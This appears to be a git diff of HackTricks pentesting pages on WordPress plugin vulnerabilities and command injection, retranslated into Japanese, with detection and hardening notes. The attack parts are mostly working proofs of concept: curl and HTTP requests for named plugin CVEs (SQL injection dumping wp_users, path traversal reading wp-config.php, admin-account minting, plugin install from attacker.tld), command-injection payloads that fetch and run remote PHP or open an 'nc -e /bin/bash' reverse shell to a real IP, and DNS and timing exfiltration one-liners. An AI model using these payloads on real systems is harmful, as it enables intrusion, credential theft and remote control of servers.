||||
|
||||
Detection checklist
|
||||
|
||||
@ -507,9 +505,9 @@ Detection checklist
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
### cookie を信頼するユーザースイッチを public `init` に接続した場合の認証されていない権限昇格 (Service Finder “sf-booking”)
|
||||
|
||||
一部のプラグインは user-switching ヘルパーを public の `init` フックに結び付け、クライアント制御の cookie から識別を導出します。コードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出すと、未認証の訪問者が任意のユーザー ID として強制ログインさせることができます。
|
||||
一部のプラグインは user-switching ヘルパーを public `init` フックに接続し、クライアント制御の cookie から識別を取得します。コードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出すと、認証されていない訪問者が任意の user ID として強制ログインさせることができます。
|
||||
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
@ -542,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
なぜ悪用可能か
|
||||
|
||||
- 公開された `init` フックによりハンドラは unauthenticated users に到達可能(`is_user_logged_in()` ガードがない)。
|
||||
- 識別はクライアントで変更可能な cookie (`original_user_id`) から導出されている。
|
||||
- `wp_set_auth_cookie($uid)` を直接呼び出すことで、リクエスタをそのユーザとしてログインさせる — capability/nonce checks が行われない。
|
||||
- 公開された `init` フックにより、ハンドラは unauthenticated なユーザーから到達可能です(`is_user_logged_in()` ガードがありません)。
|
||||
- 識別はクライアント側で変更可能なクッキー(`original_user_id`)から導出されます。
|
||||
- `wp_set_auth_cookie($uid)` を直接呼び出すと、要求者はそのユーザーとしてログインされます(権限チェックや nonce チェックが行われません)。
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
悪用 (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -556,32 +554,32 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WAF に関する WordPress/plugin CVEs の考慮事項
|
||||
### WordPress/plugin CVE に関する WAF の考慮事項
|
||||
|
||||
汎用の edge/server WAF は、広範なパターン(SQLi、XSS、LFI)向けにチューニングされています。多くの高インパクトな WordPress/plugin の脆弱性は、アプリケーション固有のロジックや認可(auth)のバグであり、エンジンが WordPress のルートや plugin のセマンティクスを理解していない限り、通常のトラフィックに見えることがあります。
|
||||
汎用の edge/server WAF は広範なパターン(SQLi、XSS、LFI)に合わせて調整されています。多くの高影響な WordPress/plugin の脆弱性はアプリケーション固有のロジック/auth バグで、エンジンが WordPress のルートや plugin のセマンティクスを理解していない限り無害なトラフィックに見えます。
|
||||
|
||||
Offensive notes
|
||||
攻撃メモ
|
||||
|
||||
- クリーンなペイロードで plugin 固有のエンドポイントを標的にする: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- まずは認証不要の経路を試す(AJAX `nopriv`, REST で permissive な `permission_callback`, public shortcodes)。デフォルトのペイロードは難読化なしで成功することが多い。
|
||||
- 典型的な高インパクトのケース:権限昇格(broken access control)、任意ファイルのアップロード/ダウンロード、LFI、open redirect。
|
||||
- プラグイン固有のエンドポイントをクリーンな payloads で狙う: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- まずは認証不要の経路を試す(AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。デフォルトの payloads は難読化なしで成功することが多い。
|
||||
- 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
防御メモ
|
||||
|
||||
- plugin CVEs を保護するために汎用 WAF シグネチャに依存しないこと。アプリケーション層で脆弱性固有の仮想パッチを導入するか、迅速に更新する。
|
||||
- コード内では、ネガティブな regex フィルタよりも、ポジティブセキュリティチェック(capabilities、nonces、厳格な入力検証)を優先する。
|
||||
- プラグインの CVE を保護するために汎用 WAF シグネチャに頼らないこと。アプリケーション層で脆弱性特化の仮パッチを実装するか、迅速に更新する。
|
||||
- コード内ではネガティブな regex フィルタよりも、ポジティブなセキュリティチェック(capabilities, nonces, strict input validation)を優先する。
|
||||
|
||||
## WordPress Protection
|
||||
## WordPress の保護
|
||||
|
||||
### Regular Updates
|
||||
### 定期的な更新
|
||||
|
||||
WordPress、plugins、themes が最新であることを確認してください。また wp-config.php で自動更新が有効になっていることを確認してください:
|
||||
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.php で自動更新が有効になっていることを確認してください:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
また、**信頼できる WordPress プラグインとテーマのみをインストールしてください**。
|
||||
Also, **信頼できる WordPress プラグインとテーマのみをインストールしてください**。
|
||||
|
||||
### セキュリティプラグイン
|
||||
|
||||
@ -592,14 +590,14 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
### **その他の推奨事項**
|
||||
|
||||
- デフォルトの **admin** ユーザーを削除する
|
||||
- **強力なパスワード** と **2FA** を使用する
|
||||
- 定期的にユーザーの**レビュー**および**権限**を確認する
|
||||
- **ログイン試行回数を制限する**ことで Brute Force 攻撃を防ぐ
|
||||
- **`wp-admin.php`** ファイル名を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
|
||||
- **強力なパスワード**と**2FA**を使用する
|
||||
- 定期的にユーザーの**権限**を**確認**する
|
||||
- Brute Force 攻撃を防ぐために**ログイン試行回数を制限する**
|
||||
- **`wp-admin.php`** ファイル名を変更し、社内または特定のIPアドレスからのみアクセスを許可する。
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
### 認証不要の SQL Injection(不十分な検証による)(WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 採用プラグインは **savecategory** タスクを公開しており、結果的に `modules/category/model.php::validateFormData()` 内で以下の脆弱なコードを実行していた:
|
||||
WP Job Portal の求人プラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で以下の脆弱なコードを実行します:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -609,11 +607,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
このスニペットによって導入された問題:
|
||||
このスニペットで導入された問題:
|
||||
|
||||
1. **サニタイズされていないユーザー入力** – `parentid` は HTTP リクエストからそのまま取得されています。
|
||||
2. **WHERE句内での文字列連結** – `is_numeric()` / `esc_sql()` / プリペアドステートメント が使われていません。
|
||||
3. **認証不要で到達可能** – アクションは `admin-post.php` を通じて実行されますが、唯一のチェックは **CSRF nonce**(`wp_verify_nonce()`)だけで、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。
|
||||
1. **Unsanitised user input** – `parentid` は HTTP リクエストからそのまま取得されます。
|
||||
2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement が使われていません。
|
||||
3. **Unauthenticated reachability** – action は `admin-post.php` 経由で実行されますが、存在するチェックは **CSRF nonce** (`wp_verify_nonce()`) のみで、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。
|
||||
|
||||
#### 悪用
|
||||
|
||||
@ -629,18 +627,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
レスポンスは注入したクエリの結果を開示するか、データベースを変更し、SQLi の存在を証明します。
|
||||
レスポンスは注入されたクエリの結果を開示するかデータベースを変更し、SQLi を立証します。
|
||||
|
||||
|
||||
### 認証不要の任意ファイルダウンロード / パストラバーサル (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
別のタスクである **downloadcustomfile** により、訪問者はパストラバーサルを使ってディスク上の **任意のファイル** をダウンロードできました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
|
||||
別のタスク、**downloadcustomfile** により、訪問者が path traversal を使ってディスク上の **任意のファイル** をダウンロードできました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` は攻撃者により制御され、**サニタイズされていない**状態で連結されます。再度、唯一のゲートは **CSRF nonce** で、resume ページから取得できます。
|
||||
`$file_name` は攻撃者に制御されており、**without sanitisation** のまま連結されています。 繰り返しになりますが、唯一の関門は resume page から取得できる **CSRF nonce** です。
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -651,13 +649,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys。
|
||||
サーバは `wp-config.php` の内容を返し、leaking DB credentials and auth keys.
|
||||
|
||||
## 未認証アカウントの乗っ取り via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
## 未認証でのアカウント乗っ取り via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
多くのテーマ/プラグインは admin-ajax.php 経由で公開される "social login" ヘルパーを同梱しています。未認証の AJAX アクション (wp_ajax_nopriv_...) が、provider data がない場合にクライアント提供の識別子を信用してから wp_set_auth_cookie() を呼び出すと、これは完全な認証バイパスになります。
|
||||
多くのテーマ/プラグインは admin-ajax.php を介して公開される "social login" ヘルパーを同梱しています。未認証の AJAX アクション (wp_ajax_nopriv_...) がプロバイダのデータが欠落している場合にクライアント提供の識別子を信頼し、その後 wp_set_auth_cookie() を呼び出すと、完全な認証バイパスになります。
|
||||
|
||||
Typical flawed pattern (simplified)
|
||||
典型的な脆弱なパターン(簡略化)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
@ -686,17 +684,17 @@ wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
なぜ悪用可能か
|
||||
Why it’s exploitable
|
||||
|
||||
- admin-ajax.php 経由で認証なしで到達可能(wp_ajax_nopriv_… action)。
|
||||
- nonce/capability チェックが状態変更前に行われていない。
|
||||
- OAuth/OpenID プロバイダ検証が欠如しており、デフォルトの分岐が攻撃者の入力を受け入れてしまう。
|
||||
- get_user_by('email', $_POST['id']) の後に wp_set_auth_cookie($uid) が呼ばれ、要求者を任意の既存のメールアドレスとして認証してしまう。
|
||||
- 未認証で到達可能 — admin-ajax.php(wp_ajax_nopriv_… action)。
|
||||
- 状態変更の前に nonce/capability チェックがない。
|
||||
- OAuth/OpenID プロバイダの検証が欠如している;デフォルトの分岐が攻撃者の入力を受け入れる。
|
||||
- get_user_by('email', $_POST['id']) の後に wp_set_auth_cookie($uid) が続き、要求者を任意の既存のメールアドレスとして認証してしまう。
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
|
||||
- 前提条件:攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザーメールを知っているか推測できること。
|
||||
- provider をサポートされていない値に設定する(または省略する)ことでデフォルトの分岐に入り、id=<victim_email> を渡す。
|
||||
- Prerequisites: 攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザのメールアドレスを知っているか推測できること。
|
||||
- provider をサポートされていない値に設定(または省略)してデフォルトの分岐を通り、id=<victim_email> を渡す。
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
@ -716,20 +714,20 @@ Expected success indicators
|
||||
|
||||
Finding the action name
|
||||
|
||||
- テーマやプラグイン内で add_action('wp_ajax_nopriv_...', '...') の登録をソーシャルログインのコード(例: framework/add-ons/social-login/class-social-login.php)で確認する。
|
||||
- AJAX ハンドラ内で wp_set_auth_cookie(), get_user_by('email', ...) を grep する。
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Web ログに、social-login アクションと id=<email> を含む /wp-admin/admin-ajax.php への未認証の POST が記録されていること。
|
||||
- 同一の IP/User-Agent からの認証済みトラフィックに先立ち、success JSON を含む 200 レスポンスがあること。
|
||||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||||
|
||||
Hardening
|
||||
|
||||
- クライアント入力から識別情報を派生させない。検証済みプロバイダの token/ID に由来する email/ID のみを受け入れる。
|
||||
- ログイン補助でも CSRF nonces と capability checks を要求する。wp_ajax_nopriv_ は厳密に必要な場合以外登録しない。
|
||||
- OAuth/OIDC レスポンスをサーバ側で検証し、プロバイダが欠落または無効な場合は拒否する(POST id にフォールバックしない)。
|
||||
- 修正されるまで、ソーシャルログインを一時的に無効化するか、エッジで仮想パッチ(脆弱なアクションをブロック)することを検討する。
|
||||
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
|
||||
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
|
||||
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
|
||||
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
@ -737,7 +735,7 @@ Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
|
||||
一部のプラグインは、呼び出し元の権限を検証せずに再利用可能な「connection keys」やトークンを発行するRESTエンドポイントを公開しています。ルートが推測可能な属性(例: username)のみで認証し、キーをユーザー/セッションに厳密な capability チェックで紐付けない場合、未認証の攻撃者がキーを発行して権限のある処理(管理者アカウント作成、プラグインの特権アクション → RCE)を呼び出せます。
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
@ -757,25 +755,25 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Why it’s exploitable
|
||||
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
|
||||
- No capability enforcement; minted key is accepted as a universal bypass
|
||||
なぜ悪用可能か
|
||||
- 機微な REST ルートが低エントロピーの識別証明(username)だけで保護されている、または permission_callback が欠如している
|
||||
- 権限強制が行われておらず、発行されたキーが普遍的なバイパスとして受け入れられている
|
||||
|
||||
Detection checklist
|
||||
- プラグインコードを grep して register_rest_route(..., [ 'permission_callback' => '__return_true' ]) を探す
|
||||
検出チェックリスト
|
||||
- Grep でプラグインコードを検索: register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- リクエスト提供の識別情報(username/email)に基づいてトークン/キーを発行し、認証済みユーザーや capability に紐付けていないルート
|
||||
- サーバー側の capability チェックなしに発行済みトークン/キーを受け入れる後続ルートを探す
|
||||
- 発行済みのトークン/キーをサーバー側での権限チェックなしに受け入れる後続ルートを探す
|
||||
|
||||
Hardening
|
||||
- 特権を持つ REST ルートでは、必要な capability に対して current_user_can() を強制する permission_callback を要求する
|
||||
- クライアント提供の識別情報から長寿命キーを発行しない。必要な場合は、認証後に短寿命かつユーザーに紐づいたトークンを発行し、使用時に capability を再確認する
|
||||
- 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user は単独では不十分)および !is_user_logged_in() || !current_user_can(<cap>) の場合はリクエストを拒否する
|
||||
対策
|
||||
- 特権を要する REST ルートには、必要な capability に対して current_user_can() を実行する permission_callback を必須にする
|
||||
- クライアント提供の識別情報から長期間有効なキーを発行しない。必要であれば、認証後に短期間有効でユーザーに紐づくトークンを発行し、使用時に再度 capability を確認する
|
||||
- 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user は単体では不十分)。!is_user_logged_in() || !current_user_can(<cap>) の場合はリクエストを拒否する
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → 認証されていない任意のプラグインインストール (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces は CSRF を防ぐものであり、認可を意味するものではない。コードが nonce の通過を安全の合図とみなして特権操作(例: install/activate plugins)の capability チェックをスキップすると、認証されていない攻撃者が弱い nonce 要件を満たしてバックドア入りや脆弱なプラグインをインストールすることで RCE に到達し得る。
|
||||
Nonces は CSRF を防ぐものであり、authorization を防ぐものではない。コードが nonce の検証通過を許可サインと見なし、その後に特権操作(例: プラグインのインストール/有効化)に対する権限チェックをスキップすると、認証されていない攻撃者が弱い nonce 要件を満たしてバックドア入りや脆弱なプラグインをインストールし、RCE に至る可能性がある。
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
@ -788,23 +786,23 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
検出チェックリスト
|
||||
- wp_verify_nonce()/check_admin_referer() のみで権限チェックがない、プラグイン/テーマを変更する REST/AJAX ハンドラ
|
||||
- nonce 検証後に $skip_caps = true を設定する任意のコードパス
|
||||
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
|
||||
- Any code path that sets $skip_caps = true after nonce validation
|
||||
|
||||
Hardening
|
||||
- nonces は常に CSRF トークンとしてのみ扱う;nonce の状態に関係なく権限チェックを強制する
|
||||
- installer code に到達する前に current_user_can('install_plugins') と current_user_can('activate_plugins') を要求する
|
||||
- 未認証アクセスを拒否する;特権フローに対して nopriv AJAX actions を公開しない
|
||||
ハードニング
|
||||
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
|
||||
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
|
||||
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
|
||||
|
||||
---
|
||||
|
||||
## depicter-* actions の s (search) パラメータ経由の認証不要の SQLi (Depicter Slider ≤ 3.6.1)
|
||||
## 未認証の SQLi — depicter-* アクションの s (search) パラメータ経由 (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
複数の depicter-* アクションが s (search) パラメータを受け取り、パラメータ化なしで SQL クエリに連結していた。
|
||||
複数の depicter-* アクションが s (search) パラメータを受け取り、パラメータ化せずに SQL クエリに連結していた。
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: WHERE/LIKE 句での直接文字列連結;prepared statements/サニタイズなし
|
||||
- Impact: database exfiltration (users, hashes), lateral movement
|
||||
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
|
||||
- Impact: データベースの情報持ち出し(users、hashes)、横方向への侵害
|
||||
|
||||
PoC
|
||||
```bash
|
||||
@ -813,35 +811,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Detection checklist
|
||||
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
|
||||
- $wpdb->get_results()/query() に渡されるカスタムクエリで s を連結している箇所を確認
|
||||
検出チェックリスト
|
||||
- Grepでdepicter-*のactionハンドラと、SQL内での$_GET['s']または$_POST['s']の直接使用を探す
|
||||
- $wpdb->get_results()/query()に渡されるカスタムクエリで、sを連結しているものを確認する
|
||||
|
||||
Hardening
|
||||
- 常に $wpdb->prepare() または wpdb プレースホルダを使用し、サーバー側で予期しないメタ文字を拒否する
|
||||
- s に対して厳密な許可リストを追加し、期待される文字セット/長さに正規化する
|
||||
ハードニング
|
||||
- 常に $wpdb->prepare() または wpdb のプレースホルダを使用する;サーバー側で予期しないメタ文字を拒否する
|
||||
- s に対して厳格な許可リストを追加し、期待される文字セット/長さに正規化する
|
||||
|
||||
---
|
||||
|
||||
## 認証不要の Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
## 認証不要の Local File Inclusion — 未検証のテンプレート/ファイルパス経由 (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
テンプレートパラメータで攻撃者制御のパスを正規化/制限せずに受け入れると、任意のローカルファイルの読み取りを許し、includable な PHP やログファイルが実行時に取り込まれる場合はコード実行が発生することがある。
|
||||
テンプレートパラメータで正規化/コンテインメントせずに攻撃者制御のパスを受け入れると、任意のローカルファイルの読み取りが可能になり、includable PHP/log files がランタイムに取り込まれる場合はコード実行になることがある。
|
||||
|
||||
- パラメータ: __kubio-site-edit-iframe-classic-template
|
||||
- 脆弱性: 正規化/許可リストがなく、パス・トラバーサルが可能
|
||||
- 影響: 秘密情報の漏洩 (wp-config.php)、特定の環境では RCE の可能性 (log poisoning、includable PHP)
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: 正規化/allowlistingなし;traversalが可能
|
||||
- Impact: 機密情報の開示(wp-config.php)、特定環境では RCE の可能性(log poisoning、includable PHP)
|
||||
|
||||
PoC – wp-config.php を読み取る
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
検出チェックリスト
|
||||
- realpath() による包含チェックを行わずにリクエストパスを include()/require()/read シンクに連結するハンドラーがないか確認する
|
||||
- 意図した templates ディレクトリの外に到達する traversal パターン (../) を探す
|
||||
- realpath() による包含確認なしにリクエストパスを include()/require()/read シンクに連結しているハンドラがないか確認する
|
||||
- 意図した templates ディレクトリの外に出る traversal パターン (../) を探す
|
||||
|
||||
ハードニング
|
||||
- 許可リスト化されたテンプレートを強制する。realpath() で解決し、str_starts_with(realpath(file), realpath(allowed_base)) を要求する
|
||||
- 入力を正規化する。traversal シーケンスと絶対パスを拒否する。sanitize_file_name() はファイル名(フルパスではなく)にのみ使用する
|
||||
堅牢化
|
||||
- 許可リスト化されたテンプレートを強制する。realpath() で解決し、require str_starts_with(realpath(file), realpath(allowed_base)) を要求する
|
||||
- 入力を正規化する。traversal シーケンスや絶対パスを拒否する。sanitize_file_name() はファイル名のみ(フルパスではなく)に使用する
|
||||
|
||||
|
||||
## References
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## What is command Injection?
|
||||
## command Injectionとは何か?
|
||||
|
||||
**command injection** により、攻撃者はアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行できます。その結果、アプリケーションおよびその全データが完全に侵害される可能性があります。これらのコマンドの実行により、通常、攻撃者はアプリケーションの環境や基盤となるシステムへの不正アクセスや制御を取得できます。
|
||||
A **command injection** は、アプリケーションをホストしているサーバ上で攻撃者が任意の OS コマンドを実行できるようにする脆弱性です。その結果、アプリケーションおよびそのすべてのデータが完全に侵害される可能性があります。これらのコマンドの実行により、通常、攻撃者はアプリケーションの環境や基盤となるシステムへの不正なアクセスや制御を取得できます。
|
||||
|
||||
### コンテキスト
|
||||
### Context
|
||||
|
||||
入力がどこに注入されているかによっては、コマンドの前に**引用されたコンテキストを終了する**(`"` または `'` を使用)必要がある場合があります。
|
||||
入力が**どこに挿入されているか**によっては、コマンドの前に**引用されたコンテキストを終了させる**(`"` または `'` を使用)必要がある場合があります。
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
```
|
||||
### **制限** Bypasses
|
||||
|
||||
もし**linuxマシン内で任意のコマンドを実行する**ことを試みているなら、この**Bypasses:**を読むと役立ちます。
|
||||
もし **arbitrary commands inside a linux machine** を実行しようとしているなら、この **Bypasses:** を読むと役に立つでしょう。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -45,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||||
```
|
||||
### パラメータ
|
||||
### Parameters
|
||||
|
||||
以下は、code injection や類似の RCE 脆弱性に対して脆弱であり得る上位25のパラメータです(出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
以下は code injection や同様の RCE 脆弱性の影響を受ける可能性がある上位25のパラメータです (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
データを1文字ずつ抽出する
|
||||
データ抽出: 1文字ずつ
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -89,9 +89,9 @@ real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### DNS による data exfiltration
|
||||
### DNSを利用した data exfiltration
|
||||
|
||||
ツール `https://github.com/HoLyVieR/dnsbin` に基づく。dnsbin.zhack.ca にもホストされている。
|
||||
`https://github.com/HoLyVieR/dnsbin` のツールに基づいており、dnsbin.zhack.caでもホストされています。
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
DNS ベースの data exfiltration をチェックするオンラインツール:
|
||||
DNSベースのdata exfiltrationをチェックするオンラインツール:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Filtering bypass
|
||||
### フィルタリングバイパス
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
### Node.js `child_process.exec` と `execFile`
|
||||
|
||||
JavaScript/TypeScript のバックエンドを監査する際、Node.js の `child_process` API にしばしば遭遇します。
|
||||
JavaScript/TypeScript バックエンドを監査する際、しばしば Node.js `child_process` API に遭遇します。
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` は **shell** (`/bin/sh -c`) を起動するため、**shell** に特別な意味を持つ文字(back-ticks、`;`、`&&`、`|`、`$()`、…)がユーザ入力を文字列に連結したときに **command injection** を引き起こします。
|
||||
`exec()` は **shell** (`/bin/sh -c`) を起動するため、shell に特別な意味を持つ任意の文字(バックティック、`;`、`&&`、`|`、`$()`、…)は、ユーザー入力が文字列に連結されると **command injection** を引き起こします。
|
||||
|
||||
**緩和策:** `execFile()` を使用する(または `shell` オプションなしで `spawn()` を使用)し、**各引数を別々の配列要素として渡す**ことで shell が介在しないようにします:
|
||||
**対策:** `execFile()`(または `spawn()` を `shell` オプションなしで使用)を使い、各引数を**別々の配列要素**として渡して shell が介在しないようにします:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
実際の事例: *Synology Photos* ≤ 1.7.0-0794 は、認証なしの WebSocket イベントを介して攻撃者が制御するデータを `id_user` に配置し、その後 `exec()` 呼び出しに埋め込まれて RCE を達成できる脆弱性がありました (Pwn2Own Ireland 2024)。
|
||||
